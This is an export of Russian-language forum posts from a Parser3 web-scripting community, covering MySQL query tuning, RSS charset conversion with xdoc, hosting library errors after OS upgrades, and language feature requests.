- type = ALL для article -- отстой. Using temporary; Using filesort - второй отстой. вам надо избавиться от первого (от второго не избавитесь). с другой стороны там всего 4682 записей... это запрос не на 170 секунд.\
\
- посмотрите на ваши календари. вам не нужен такой запрос, как вы пишите. у вас их два: 1 -- за текущий месяц (т.е. надо отчильтровать WHERE dt_published >= 'начало месяца') и группировать по YMD, второй -- группировать по YM, D тут нафиг не нужен. ваш запрос достаёт много ненужных данных (- время теряется на передачу)"
"62517","во-первых - сайт новостной. В день публикуется около 40-50 новостей. Ежедневно. На 2 языках - т.е. это 40-50 основных и 80-100 переводов в общем.\
\
Индекса group_id_2 на рабочем сайте нет - эти я брал я локальной версии.\
\
Кроме того вариант с  WHERE dt_published >= 'начало месяца' не годится, т.к. на сайте предусмотрена возможность предварительного размещения новостей. Т.е. сегодня внесли, завтра или когда укажем, с определенного времени показали - таким образом люди разгружают выходные и сайт работает нон-стоп. Зайдите гляньте на календарь http://qha.com.ua - рисовать календарь на месяц тоже не годится - т.к. я рисую его за весь период существования сайта."
"62518","и не увидел js календаря, с помощью которго пользователь сразу может без перезагрузок пробежаться по всему периоду жизни сайта и увидеть когда были новости (в общем это неактуально, т.к. сайт новостной и новости есть всегда) и перейти в конктертую даты.\
\
я предлагал сделать отдельный запрос для построения календаря за текущий месяц, где одним добавляемым условием отрезать очень много ненужного.\
\
ваш запрос упростить невозможно в принципе (ну кроме составных индексов, которые сильно не спасут, разве что join может быстрее станет делаться). именно поэтому я пытаюсь изменить постановку задачи: ненужные данные -- не доставать из БД.\
\
[quot]\
Индекса group_id_2 на рабочем сайте нет - эти я брал я локальной версии.\
[/quot]\
\
нда. зачет. ну удачи в подобном \"анализе\".\
\
P.S. понятное дело виноват хостер %-)"
"62519","Что еще у вас отличается на реальном сайте?\
\
приводите реальную структуру и реальный explain, различия в паре букв могут иметь значение..."
"62521","переделал построение календаря в 2 запроса с кешированием текущего месяца в 1 час и остального календаря в 1 день - думаю разгрузит сервер неплохо."
"62522","Коллеги, подскажите как можно перекодировать RSS (чужой) из cp1251 в UTF-8?\
\
Т.е я понимаю что есть $response:charset[кодировка] и что фид можно принять ^file::load[text;^untaint{$feeduri}], а  как его принять, перекодировать и отдать не понимаю :-(\
подскажите, плиз."
"62523","[quot]\
...думаю разгрузит сервер неплохо.\
[/quot]\
\
правильнее смотреть что думает sql сервер. а то, что он думает он рассказывает если попросить его об этом с помощью explain.\
\
P.S. если использовались мои sql классы, то в explain информации (при ?mode=debug) пишется количество доставаемых записей для .table и .hash запросов. без ?mode=debug по умолчанию (которое в примере) если запросом достаётся > 3000 записей то считается, что это плохо, и об этом пишется в лог. к чему это я? к тому, что подобные логи -- это хорошо %-)"
"62525","обеспечит вам, чтобы parser не пытался перекодировать xml данные.\
[code]\
$xdoc[^xdoc::create[$file.text]]\
[/code]\
[i]да, именно $file.text, несмотря на то, что файл был загружен в бинарном режиме![/i]\
\
создаст вам xdoc на основе файла. \
когда будете выгружать файл, выставите какую хотите кодировку:\
[code]\
$response:charset[что-хотите]\
$response:content-type[text/xml]\
#parser сам позаботится об указании $response:charset в атрибуте encoding в ответе xdoc.string\
^xdoc.string[]\
[/code]\
\
\
\
а вообще-то \"перекодирование RSS\" = забавный бред.\
ведь стандарт XML включает в себя вопрос кодировки.\
поэтому с точки зрения RSS совершенно неважно, в какой кодировке находится файл, т.е. вполне можно отдавать в той кодировке, в которой получили, важно лишь чтобы encoding в заголовке xml был правильным."
"62526","Эти проблемы были связаны с тем, что спамеры научились нарушать работоспособность серверов проверки спама. Поскольку по историческим причинам сервер антиспама и mysql-сервер у нас размещены на одной физической машине, это оказывало влияние и на скорость работы mysql. Сейчас конкретная возникавшая из-за спама проблема локализована и не должна повториться, кроме того, мы проводим работы по модернизации оборудования и разнесению mysql и почты на разные серверы, что позволит полностью исключить подобное влияние в будущем, ожидаемый срок окончания работ - около недели."
"62527","Раньше на всех тарифных планах памяти было по 16 Мб, теперь на некоторых планах ее стало больше."
"62528","Если не затруднит - пришлите мне номер заявки (он есть в теме ответа), на которую вам ответили медленно, плохо или не по существу."
"62529","Подрезать не подрезали, всё, что сверх нормы — стало платным.\
\
Раньше можно было накинуть памяти просто попросить.\
Если мне маразм не изменяет, Вы мне памяти по просьбе увеличивали, да."
"62530","Просто это стало небесплатно."
"62531","про это и пишу."
"62532","Приветствую!\
\
Вообщем, скачал я денвер, установил.\
\
Решил сначала разобраться с мишиным классом авторизации.\
\
Отредактировал конф. auto.p, в частности\
[code]\
$CLASS_PATH[/../classes]\
$SQL.connect-string[mysql://root@localhost/db10?charset=cp1251_koi8]\
[/code]\
\
Структура папок такова:\
[code]\
/classes/\
-- /auth/\
-- -- auth.p\
-- lib.p\
-- mysql.p\
-- sql.p\
-- sqlinfo.p\
/www/\
-- auto.p\
-- /auth/ (содержимое скопировано из архива)\
-- -- _auth_setpwd.html\
-- -- _auth_profile.html\
-- -- _auth_info.html\
-- -- _auth_forgot.html\
-- -- auto.p\
[/code]\
\
Далее, импортировал дамп auth_mysql.sql\
\
В корневом auto.p (/www/auto.p) прописал следующее:\
[code]\
@USE\
mysql.p\
\
@auto[]\
$pSql[^MySql::create[$SQL.connect-string]]\
[/code]\
\
Открываем http://a.ru/auth/_auth_setpwd.html ,\
вводим пароль, нажимаем Установить и...\
\
вылетает ошибка 'mysql' class is undefind без всяких намёков куда копать.\
\
Хорошо, открываем /www/auth/auto.p и комменитруем строки\
[code]\
#@auto[]\
# создаем SQL объект через который будут происходить все обращения к SQL\
#$MAIN:pSQL[^mysql::init[$SQL.connect-string;$.is_debug(1)]]\
#end @auto[]\
[/code]\
\
теперь вываливается 'server' undefined method (z:/home/a.ru/www/auth/_auth_setpwd.html(11:12))\
\
\
Помогите пожалуйста разобраться, я уже не знаю куда копать :("
"62533","спасибо!\
\
[quote]а вообще-то \"перекодирование RSS\" = забавный бред.[/quote]\
\
Yahoo.Pipes принимает только UTF-8, фид с другой кодировкой будет проигнорирован"
"62534","[quote]Ошибка синтаксического анализа XML: неправильный \
Адрес: http://localhost/encode.html \
Строка 2, символ 2:<<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
-^[/quote]\
\
Вот первые три строчки фида:\
[code] <?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
 <rss version=\"2.0\">\
 <channel>\
[/code]\
\
фидвалидатор ругается на фид начиная с 18 строчки, да и то на Undefined item element:\
http://feedvalidator.org/check.cgi?url=http%3A%2F%2Fwww.free-lancers.net%2Frss%2Fprojects%2F\
\
подскажите, что случилось с фидом после перекодировки? И как это исправить?"
"62535","Может case sensitivity?\
mysql != MySql, pSql != pSQL и т.д."
"62536","в результате перекодирования появляется еще одна строка xml version и лишний символ < Как это поправить?\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<[b]<[/b]?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<rss version=\"2.0\">\
<channel>[/code]\
\
код вот такой:\
$file[^file::load[binary;simple.rss]]\
\
$xdoc[^xdoc::create[$file.text]]\
$response:charset[UTF-8]\
$response:content-type[text/xml]\
^xdoc.string[]"
"62538","Все классы скачаны с этого сайта и не изменялись.\
\
Единственный мой файл -- это auto.p в /www/"
"62539","просто пока ситуация только усугубляется: ошибки уже сыпятся по несколько раз в день (где-то по одной на 3 запроса). Это уже нормальным назвать нельзя."
"62540","Таких письма у меня два. Прошу прощения, что возможно вам кажется я занимаюсь \"черным пиаром\", однако меня эти ответы вывели из себя, при том, что я всегда отличался спокойствием (тренирую его работая преподавателем в центре переподготовки учителей в центре интернет образования)."
"62541","стыдно конечно, но я много чего не понял в разделе про XDOC :-(\
подскажите пожалуйста."
"62542","если вы создаёте объект класса MySql, то и скачивать/подключать надо его, а не mysql (разница есть, это старая версия класса).\
вы подключили файл mysql.p, в котором описан класс mysql, а пытаетесь создавать объект класса MySql -- отсюда и ошибка, такого класса у вас не находится.\
\
а это:\
[quot]\
вылетает ошибка 'mysql' class is undefind\
[/quot]\
\
именно намёк куда копать. там кстати ещё и номер строки должен быть. куда конкретнее?\
\
однако класс auth не умеет без переделок работать через объект класса MySql, ему подавай объект класса или mysql (старый) или MySqlComp (прослойка к новому классу для обеспечения обратной совестимости, рекомендуется именно этот вариант)."
"62543","Добавил MySqlComp.p в classes\
+\
изменил /www/auth/auto.p согласно upgrade.txt\
\
Заработало.\
\
[b]Однако[/b], заработало без @postprocess[sBody] из upgrade.txt\
\
С ним - просто выводится пустая страничка!?\
\
P.S.: Думаю, будет разумно упомянуть об этих ньюансах со старыми/новыми классами на страничке класса авторизации в примерах."
"62544","Так получилось, что человек, написавший мне сайт на parsere, стал недоступен.\
На днях сайт начал выдавать HTTP 500 - Внутренняя ошибка сервера \
В parser3.log появились записи типа: \
[Wed Sep 12 11:59:26 2007] [10262] /favicon.ico: /pub/home/sitename/htdocs/auto.p(156:2): './lib/libparser3mysql.so' can't open the module [<no type>]\
При этом никаких изменений ни в сайте ни в базе данных перед возникновением ошибки не производилось.\
Хостинг Valuehost. \
Я, к своему стыду, разобраться быстро со сборками и прочими вещами не могу :(\
Прошу помощи у интернет сообщества!\
Зарание спасибо!"
"62545","это пример того, что можно добавить в ваш уже написанный postprocess если хотите получить желаемое (sql статистику).\
\
очевидно, что написать postprocess для нужд всех и каждого не представляется возможным.\
\
P.S. писать комментарии не планирую, т.к. это устаревший класс, который будет полностью заменён. некоторые проблемы (в том числе и затронутую в этом треде) уже обсуждали в форуме, пользуйтесь поиском."
"62546","Сегодня два моих сайта перстали работать (никаких изменений кода небыло давно).\
Текст ошибки в логе \"[Wed Sep 12 13:17:03 2007] [97668] /: /pub/home/luxage10/cheltruba/auto.p(15:2): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can't open the module [<no type>]\"\
В коде на который идет ссылка (auto.p) идет обращение к БД.\
Библиотеки я не трогал.\
\
Не могу понять что делать."
"62547","- уточните не производили ли они апгрейд ОС\
- при положительном ответе спросите почему они не предупредили об апгрейте или предстоящих изменениях.\
- спросите где теперь находится клиентская библиотека mysql и измените путь к ней в конфигурационном auto.p"
"62549","Вы даже не представляете! Но нигде не было упоминания про эти ньюансы про старый/новый класс.\
\
В любом случае теперь есть ;-)"
"62550","если rss/xml формируется в зависимости от отправляемых при http запросе данных, то в случае с binary они не будут перекодироваться, соотв. отправить русские буквы цивилизованным способом невозможно.\
\
если грузить в режиме text, то отправляемые поля будут перекодированы, но и пришедший обратно текст также будет перекодирован обратно, но это как раз и плохо, т.к. в xml declaration (это часть текста) останется <?xml encoding=\"старая кодировка\"?>, т.е. для того чтобы из этого создать xdoc надо match-ем заменить её на нашу кодировку. это лишнее телодвижение, зато если вынести подобное в отдельный метод то это работает и в случае, если надо отправить текстовые поля.\
\
чтобы решить описанные выше неудобства некоторое время назад в HEAD версию был добавлен ещё один конструктор xdoc: ^xdoc::create[файл], т.е. можно так:\
[code]\
$f[^file::load[text;http://...;\
	$.form[\
		$.name[Вася]\
	]\
	$.timeout(5)\
	$.charset[UTF-8]\
]\
$x[^xdoc::create[$f]]\
[/code]\
\
\
что касается \"перекодирования rss\": некоторые пишут свои агрегаторы (зачем -- не знаю). очевидно, что если из разных источников получили данные в разных кодировках (хотя для rss кодировка utf8 must have), то чтобы выдать данные в одну ленту что то придётся \"перекодировать\"."
"62551","Апдейт ОС был теперь на сервере FreeBSD 5.5.\
Но что странно, апдейт был очень давно и скрипт для версии 4.1 работал до сего дня нормально. Что могло случиться?\
Кстати скрипта Parser для FreeBSD 5.5 я не нашел, есть 4.х и 6.1"
"62554","а вы что-то подобное встречали очевидно. Что посоветуете?"
"62555","Та же проблема... озадачил саппорт Valuehost. Пока молчат"
"62556","ошибка load invalid option passed означает что парсер старой версии? Я работаю под последней сборкой Денвера."
"62557","Отправитель:  Вы \
Кому:  Отдел администраторов серверов \
Заголовок:  проблема с libmysqlclient.so \
Текст сообщения:  - уточните не производился ли апгрейд ОС в период 8-10/09\
- где теперь находится клиентская библиотека mysql какой путь к ней нужно указывать \
\
---------------------------------------------------\
\
Сообщение 2 из 2 отправлено 12-09-2007 в 15:31:17 \
Отправитель:  Дойлов Андрей Сергеевич \
Должность:  Системный администратор \
Отдел:  Отдел администраторов серверов \
Кому:  Вам \
Заголовок:  Re[2]: проблема с libmysqlclient.so \
Текст сообщения:  Дорогой Клиент,\
\
Спасибо за Ваше письмо. Путь к библиотеке /usr/local/lib/mysql/\
\
Спасибо за выбор Valuehost.\
\
С Уважением,\
Компания Valuehost в странах СНГ\
_____________________________________________________\
\
подскажите, где именно должен быть указан этот путь"
"62562","Сначала писали что все в порядке и сам, мол, разбирайся. После просьб все перепроверить, проблему исправили, но в чем она состояла не сказали."
"62563","Я совсем не силен в этом вопросе.... и если не трудно, расскажите, куда чего распихать.... \
А по поводу озадачить их собрать - я сам не до конца представляю, что нужно сделать, поэтому не смогу им даже задачу поставить :("
"62564","вот этот код \
\
[code]@main[]\
$f[^file::load[text;http://www.free-lancers.net/rss/projects/;\
$.timeout(5)\
$.charset[UTF-8]\
]]\
$x[^xdoc::create[$f.text]]\
^x.string[][/code]\
\
формирует файл который начинается так:\
\
[code]<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<<?xml version=\"1.0\" encoding=\"windows-1251\" ?> [/code]\
\
я уже знаю по меньшей мере 5 способов как добиться такого результата :-( Но как получить вместо двух этих строк одну [code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>[/code] не понимаю. Можете кинуть в меня тухлый помидор, только разъясните КАК мне получить нужный результат - перекодированный в UTF-8 RSS-фид взятый с другого сервера."
"62566","или я другой промах допустил?"
"62574","Видимо реально была какая то проблема у хостинга... само как то все снова заработало...."
"62575","парсер работает в качестве интерпретатора скриптов \
запускается как \
файл pscript:\
#!.../cgi-bin/parser3/parser3.cgi\
@main[]\
.....\
\
как в коде парсера получить значения параметры скрипта\
если запускать скрипт как pscript par1 par2\
\
?"
"62577","$SOAPBody[тело запроса]\
$responseData[^file::load[text;http://example.com/soap/service.asmx;\
	$.method[POST]\
	$.body[^untaint[as-is]{$SOAPBody}]\
	$.charset[utf-8]\
	$.headers[\
		$.Content-Type[text/xml^; charset=utf-8]\
		$.Content-length[^SOAPBody.length[]]\
		$.Host[example.com]\
		$.SOAPAction[http://example.com/sopa/getWeather]\
	]\
]]"
"62578","^responseData.tables.foreach[key;value]{\
$key=^value.menu{$value.value}[|]<br />\
}\
\
Перезагружал раз двадцать...\
До этого было \
\
[b]load\
error receiving response body:[/b]\
\
И сейчас возникает периодически. Почему?"
"62579","- вы можете установить enviroment\
- подобное было реализовано сторонними разработчиками, но у меня не получилось внедрить это в HEAD версию. жду."
"62581","подскажите как создать хеш где ключ - один столбец БД, а значение другой столбец БД. спасибо.\
[code]\
$хэш[ \
    $.столбец1[столбец2]\
]\
[/code]"
"62582","за едею с env thnx :)\
пока такой изврат:\
\
[code]\
@main[]\
$envparams[$env:P3NC]\
$params[^envparams.split[@;lh]]\
$params.0 - $params.1 - $params.2\
[/code]"
"62584","Странность в том, что, если атрибут @on не определён (наш случай), то конструкция @on != 'on' всегда будет выдавать false. Хотя, по логике, должно быть true, ведь undefined не равно значению.\
Поэтому приходится использовать not(@on = 'on'), чтобы в случае отсутствия атрибута инвертировать false на true.\
\
В таком поведении есть свой плюс: мы можем без дополнительных действий определить отсутствие атрибута и обработать этот вариант отдельно. Типа:\
[code]<xsl:choose>\
	<xsl:when test=\"@on = 'on'\">\
		<p>Атрибут есть, его значение равно 'on'.</p>\
	</xsl:when>\
	<xsl:when test=\"@on != 'on'\">\
		<p>Атрибут есть, его значение не равно 'on'.</p>\
	</xsl:when>\
	<xsl:otherwise>\
		<p>Атрибута нет.</p>\
	</xsl:otherwise>\
</xsl:choose>[/code]"
"62586","http://www.w3.org/TR/1999/REC-xpath-19991116\
[quot]\
...\
If one object to be compared is a node-set and the other is a string, then the comparison will be true if and only if [b]there is a node in the node-set such that the result of performing the comparison on the string-value of the node and the other string is true.[/b]\
...\
[/quot]\
\
или в переводе (http://www.rol.ru/news/it/helpdesk/xpath01.htm):\
[quot]\
...\
Если одним из сравниваемых объектов является набор узлов, а вторым строка, то в результате их сравнения true будет получаться тогда и только тогда, когда [b]в наборе имеется такой узел, что результатом сравнения строкового значения этого узла со второй представленной строки будет true.[/b]\
...\
[/quot]\
\
у нас @on -- набор оъектов. в нем нет ни одного объекта, для которого условие сравнения дает true (никогда нет, т.к. набор пуст).\
\
+ до кучи можно почитать Note (Замечание) после абзаца, где про это написано."
"62587","$photo[^image::measure[pic.php?art=$Artist.id]] \
^photo.html[] \
\
measure failed: No such file or directory (2), actual filename '/home/elvis/public_html/pic.php_3Fart=446'\
\
надо чтоб работало"
"62589","Но под него тоже можно =) В офисе мак, дома винда. В любом случае они по одному принципу работают."
"62593","если вам такое действительно надо -- достаньте таблицу из 2 полей и ручками (в версии из HEAD можно будет делать подобное преобразование с помощью метода таблицы .hash).\
\
у парсера несколько иная точка зрения на создаваемые хеш-структуры (при hash::sql и ^таблица.hash[...]), вот такая:\
[code]\
$хэш[ \
	$.[значения столбца 1][\
		$.[название столбца1][значения столбца 1]\
		$.[название столбца2][значения столбца 2]\
		...\
	]\
]\
[/code]\
\
и это, кстати, описано в доке."
"62594","я понимаю, что т.к. SOAP может быть сделан через http, то там можно использовать всё возможности http протокола и вернуть в том числе и cookie, но в результате это плучится не SOAP, а какой-то гибрид. \
\
но какой в нём смысл? SOAP тем и хорош, что это стандартным способ взаимодействия.\
\
так что давай спускайся на землю и или используй SOAP по назначению, или, если хочется сократить издержки, просто реализуй взаимодействие с помощь чего-то-своего-xml-подобного-через-http."
"62595","если ван надо измерить удалённый -- загрузите его, а потом измерьте. \
\
но сначала хорошенько подумайте: надо ли вам это? файл может быть размером в мегабайт, и ег озагрузка сожрет ваш трафик и время пользователя. и для чего?"
"62596","Как от даты заданной в виде date='${now.year}-${now.month}-$day' отнять например 1 день? Это из примера документации."
"62598","[code]$dDate[^date::create($now.year;$now.month;$day)]\
^dDate.roll[day](-1)[/code]\
\
Всё же синтаксис P3 мне нравится..."
"62599",", real filename '/dump.sql'\
\
файлик 4.2G\
\
exception при попытке вызвать ^file::stat[$path] к этому файлу.\
\
\
Как бороть?"
"62600","или проект заморозился?"
"62601","http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?rev=HEAD&content-type=text/vnd.viewcvs-markup"
"62602","Задача: для кучи анкет и опросов лениво каждый раз печатать громоздкие формы. Вроде уже обсуждалось и не раз, однако приемлимой для себя готовой реализации так и не нашел. ткните носом плиз."
"62605","Наверняка новая фича обкатывается :)"
"62606","RE: вообще - хранить файлы в базе просто неправильно.\
\
Слышал об этом много раз, поэтому сам думаю что не правильно...\
а аргументы в пользу этого утверждения есть?"
"62607","У меня была задача хранит файлы в БД\
конвертил в BASE64, и дальше поступал как со строкой.\
\
Но вообще файлы в БД хранились как копия лежащих на диске.\
Также приходилось решать задачу с нарезкой файлов чтобы было \"удобно\" работать парсеру :)\
\
Основная причина неправильности хранения файлов в БД -\
требуются существенные дополнительные усилия как рук, так и железа\
\
ps: Если бы на всех машинах стоял linux/bsd сделал бы по другому"
"62608","делать \
[code]\
$file[/dump.sql]\
$f[^file::exec[/../scripts/ls.sh;;$request:document-root;$file]]\
$f.text\
[/code]\
\
вне веб-пространства положить scripts/ls.sh:\
[code]\
#!/bin/sh\
ls -lh $1$2\
[/code]"
"62609","Это из уроков к Parser.\
Меня интересует проверка:\
if ($news){\
\
Мне бы хотелось похожее на if (not $news){  \
\
Но в таком виде не работает :("
"62611","Насколько я понял date - у меня просто строковая переменная.\
index.html\
-----------\
@body_main[]\
<b><h1>НОВОСТИ</h1></b>\
$day(^if(def $form:day){\
   $form:day\
}{\
   $now.day\
})\
\
^connect[$connect_string]{\
   $news[^table::sql{select\
       id, date, header, body, link\
   from\
      news\
   where\
      date='${now.year}-${now.month}-$day'\
   }]\
....\
\
Что-то ^date.roll в данном случае не работает :). Напишите лучше как сделать $day-1."
"62612","а Сорокин и Муров потратили год жизни описать красиво всё в документации.\
[code]\
^date::create[date in ansi sql format]\
[/code]\
\
и как вытерпели моё занудство, непонятно.\
\
пожалуйста, читайте документацию. кап-кап."
"62613","Это тоже \"фича\"? :)\
\
если мне нужно померять размер пачки файлов, среди которых могут оказаться довольно большие, то мне нужно либо полностью мерять их размер внешним скриптом, либо заворачивать file::stat в try, типа  так:\
[code]\
@getFileStat[file]\
^try{\
$fStat[^file::stat[$file]]\
$result[\
    $.size[$fStat.size]\
    $.mdate[$.fStat.mdate]\
    .......\
]\
}{\
\
$exception.handled(1)\
$fSize[^file::exec[/../scripts/ls.sh;;$request:document-root;$file]]\
^rem{... тут еще разобрать матчем, чтобы вынуть из строки нужные данные}\
\
}[/code]\
\
как то это криво...\
\
P.S. каким размером ограничено использование ^file::stat?"
"62615","спасибо. Извините за беспокойство"
"62616","в современном мире - 2Гб файл - совсем не редкость :)"
"62617","Что качать из http://www.parser.ru/download/\
Если хостер сказал что операционка Linux 2.6 (Gentoo)?\
\
Linux Redhat (03 сентября 2007)  падаидет?:)"
"62618","У меня spaceweb, там gentoo 2.6. От redhat все работает."
"62619","У меня тоже Gentoo, всё работает\
единственное что в режиме совместимости с 32битами :)\
под 64 парсера вроде пока нет"
"62620","переехали на mysql 5, а у него чуть строже с последовательностями таблиц при join-ах."
"62621","т.е. даже если мы это будем хранить в double -- толку ноль."
"62622","Порылся в форуме - не нашел ответа, поэтому пишу сам вопрос.\
\
[i]Что есть:[/i]\
Cайт полностью на UTF-8.\
Пишем вот так (опа - по-русски), например в одном из файликов (который также в UTF-8):\
[code]$str[опа] \
^str.length[][/code]\
\
[i]Выводит:[/i] [b]6[/b].\
\
Знатоки - внимание, вопрос! Почему? Почему все русскоязычные буквы считает за две? Куда копать?\
\
Собственно, такая же ерунда и с присланными из формы данными.\
В настройках - $request:charset[UTF-8]."
"62624","Накопилось тут несколько мыслей, хотелось бы знать мнение птицеведов и птицеводов. :)\
\
1. Есть класс $form, у него есть метод :fields, возвращающий все поля формы.\
Может сделать аналогичный метод у $env?\
C помощью него можно было бы легко узнать все переменные окружения, избегая внешних perl/bash скриптов (http://www.parser.ru/forum/?id=31048) и таких трудно понимаемых сходу изменений - http://www.parser.ru/forum/?id=20681\
Тоже самое с $request и $cookie\
\
2. Есть классы, к полям объектов которых можно безболезненно обращаться (void), не получая при этом ошибку. Такими классами являются почти все (hash,file,image,int...), кроме date, xdoc,table  и частично string.\
Например:\
[code]$h[^hash::create[$.text[text]]]\
$f[^file::load[text;index.html]]\
$d[^date::now[]]\
$t[^table::create{one  two}]\
$h.missing_field <- нет ошибки\
$f.missing_field <- нет ошибки\
$d.missing_field -> exception \"field not found\"\
$t.missing_field -> exception \"column not found\"\
[/code]\
\
С string отдельный случай:\
[code]\
$s[]\
$s.missing_field <- нет ошибки\
$s[string]\
$s.missing_field -> exception \"string [b]method[/b] not found\"\
[/code]\
\
Думается надо превратить это в какую то более менее стройную систему - либо void всегда (за исключением может table), либо всегда ошибка (за исключением может hash).\
В общем стройности хочется.\
Второй вариант очевидно не compatible, поэтому, как вариант, - ключ $STRICT(1) в конф. файле - для переключения режимов работы, либо строго, либо нет (по старому). В область действия этого ключа можно отнести и давно обсуждаемую проблему видимости локальных переменных.\
\
3. Значения по умолчанию.\
[code]@someFunction[$hParam[^hash::create[]];$i(100)][/code]\
вместо \
[code]@someFunction[hParam;i]\
$hParam[^hash::create[$hParam]]\
$i(^i.int(100))\
[/code]\
\
4. Хотелось бы методы, возвращающие список из таблицы (с указанием столбца, разделителя, encloser-а) и из хэша (список ключей или список значений указнного поля)\
Вариант применения, например в SQL-запросах WHERE IN (^h.list[])\
\
5. Хэш - прекрасная штука, за исключением того, что по природе своей у него нет порядка сортировки. Хотелось бы метод, позволяющий перебирать хэш в порядке сортировки по значению указанного поля (или по ключу).\
\
Например:\
[code]$h[^hash::create[\
  $.f1[$.name[Петя]]\
  $.f2[$.name[Вася]]\
]]\
^h.foreachByField[k;v][v.name]{\
          $v.name\
}[,][asc][/code]\
..... выведет Вася,Петя\
\
Практически все выше перечисленное обсуждалось с Мишей, 4-й пункт в частности не моя, а его идея.\
4. и 5. - реализуемы на парсере, но мне кажется такие базовые вещи должны быть на более низком уровне.\
\
Все это мое ИМХО и просто поток сознания. Просто хочется сделать парсер еще удобнее и легче/гибче.\
Знаю заранее что кто нибудь скептически предложит реализовать это самому. Книжки по Си читать начал, но до реализаций еще рано :)\
\
Кто что думает?"
"62625","Согласный со всем, кроме №3.\
Идеологически верно, но уж больно уродливо на вид.\
Лучше какая-нибудь декларация внутри метода."
"62626","я не придумал, как это сделать красиво, any idea?"
"62627","Есть желание хранить все настройки сайта в hash-файле. Желание вызвано необходимостью создания \"инсталлятора\" для CMS-системы.\
\
Целесообразно ли это и как отразиться на скорости работы? Хранить собираюсь, пока:\
- название сайта + etc\
- настройки SQL-сервера\
- настройки папок для кэширования."
"62628","...\
[quote]Замечание: существует ограничение на длину строк ключа и значения, в сумме они не должны превышать 8000 байт. \
[/quote]"
"62629","настройки должен быть способен прочитать/подправить человек.\
tab delimited, xml, ini (готовый код пробегал в форуме)"
"62630","Здравствуйте.\
Я работаю системным администратором в компании ООО \"Многопрофильная фирма РАСТР-СБ\". Наш сайт написан на парсере и хостится на мастерхосте. Недавно на сервере было произведено обновление ОС, после чего пришлось обновить версию парсера. После обновления скрипты стали выдавать следующую ошибку:\
---------\
now\
is 'date', not a method or junction, can not call it\
---------\
\
Часть кода, на которую ругается парсер, выглядит так:\
\
-----------------\
\
	^csql.sql[void]{\
		INSERT INTO asession (\
			auid,\
			sid,\
			dt_access\
		) VALUES (\
			'$uid',\
			'$sid',\
			^csql.now[] <--- ТУТ ОШИБКА\
		)\
	}\
\
-----------------\
Я не знаю парсер и пока не планирую его учить. Но начальство требует, чтобы сайт работал.\
Помогите, пожалуйста, исправить ошибку. И еще такой вопрос. В целом - насколько хорошо переносимы скрипты для парсера между различными версиями парсера?\
Зарание спасибо."
"62631","и предположить, что используется MySQL, замените [code]^csql.now[][/code]на[code]NOW()[/code]P.S. Покупать услугу разработки сайта без услуги поддержки на X лет разработчиком - моветон."
"62632","если скопировать туда ваше сообщение об ошибке, не забыв прочитать про комманды управления поиском, чтобы искалось точное соответствие, то в результате поиска окажется целых четыре сообщения, первое-же из которых будет как раз вашим случаем.\
\
\
[quot]\
насколько хорошо переносимы скрипты для парсера между различными версиями парсера?\
[/quot]\
\
некоторые несовместимые изменения периодически делаются, но обычно о них заблаговременно сообщается в новостях."
"62633","Есть желание сделать отдельный конфигуратор для сайта. Hashfile привелек именно скорстью работы и структурностью контента.\
Не будет ли использование XML для хранения конфигурации \"тяжелым\" подходом? Хранить же в tab-формате как-то уже не хочеться. Пару раз накололся на грабли, и возвращаться к ним не хочеться."
"62635","Большое человеческое спасибо! Проблема решена.\
В следующий раз (тьфу-тьфу-тьфу) буду пользоваться поиском."
"62636","Сколько весят эти настройки, сколько там ключей?\
Да мизер.\
Не парьтесь, выбирайте прежде всего удобный способ хранения.\
Скорость тут не важна совершенно."
"62637","[quot]Hashfile привелек именно скорстью работы[/quot]\
\
ну зачем тут скорость? разбор к данных осуществляется один раз. к тому-же у hashfile есть понятие блокировок...\
\
[quot]\
...и структурностью контента.\
[/quot]\
\
ключ запись сам достаточно? мне -- нет (для \"настроек\")\
\
\
[quot]\
Не будет ли использование XML для хранения конфигурации \"тяжелым\" подходом?\
[/quot]\
\
за всё в этом мире надо платить. зато гибкость будет хорошая.\
плюс промежуточные hash данные можно... краткосрочно кешировать с помощью класса от Sumo.\
\
\
[quot]\
Хранить же в tab-формате как-то уже не хочеться. Пару раз накололся на грабли, и возвращаться к ним не хочеться.\
[/quot]\
\
надо использовать encloser и не знать бед."
"62638","Попробуем по другому:\
1. Настройки SQL храним в tab-формате (за пределами сайта: ../data/config.cfg)\
2. Все настройки сайта (и модулей) кидаем в базу и сразу кэшируем:\
	- правим базу\
	- данные берем из кэша\
	- для преодоления \"порога в 8000 байт\" каждый модуль кэширует данные в своем hash-файле"
"62639","этот вариант:\
[code]\
@someFunction[hParam;i]\
$hParam[^hash::create[$hParam]]\
$i(^i.int(100))\
[/code]\
гораздо читабильнее. Плюс простота языка, за которую вы так усердно боритесь от этого вовсе не возрастет...\
\
ИМХО: глупо морочиться такими идеями с p3. Для сайта из трех страниц кроме html/js нафиг ниче не надо, а для сложных проектов парсер ни то чтобы не дорос, а не очень удобен в плане поддержки и пр."
"62640","[quote]Для сайта из трех страниц кроме html/js нафиг ниче не надо, а для сложных проектов парсер ни то чтобы не дорос, а не очень удобен в плане поддержки и пр.[/quote]\
\
Ага, давай, расскажи, как оно на самом деле."
"62641","уверен, поправить совсем несложно.\
достаточно глянуть, как-то же ls умеет, и исходники его доступны ;)\
\
просто stat функцию libc задумывали конкретно давно."
"62642","utf-8 ещё и в остальных строчных функциях не очень.\
самое малоприятное = нехороший match, с остальным более-менее можно как-то.\
\
мы никак не решимся безобразие выкинуть и переписать на unicode, как в java или c# сделали.\
\
т.е. плохие гены."
"62644","Собственно, решил проблему через \"одно место\" вчера - с помощью того самого match все русские символы заменил на латинскую букву, и только после этого их подсчитал.\
\
Хотя, все равно есть там нюансы..."
"62645","У меня совершенно не выходит получить значение из тэга XML. То есть, я могу XML через transform вывести, могу вывести как хэш через for по nodelist, но просто тупо вытащить одно значение, сколько ни кручусь, не получается. \
\
Дайте, пожалуйста, кусок кода, чтобы посмотреть, как это делается, а то я уже всю голову сломал пытаючись."
"62646","строка\
http://www.parser.ru/docs/lang/xnodeselectstring.htm\
\
число\
http://www.parser.ru/docs/lang/xnodeselectnumber.htm"
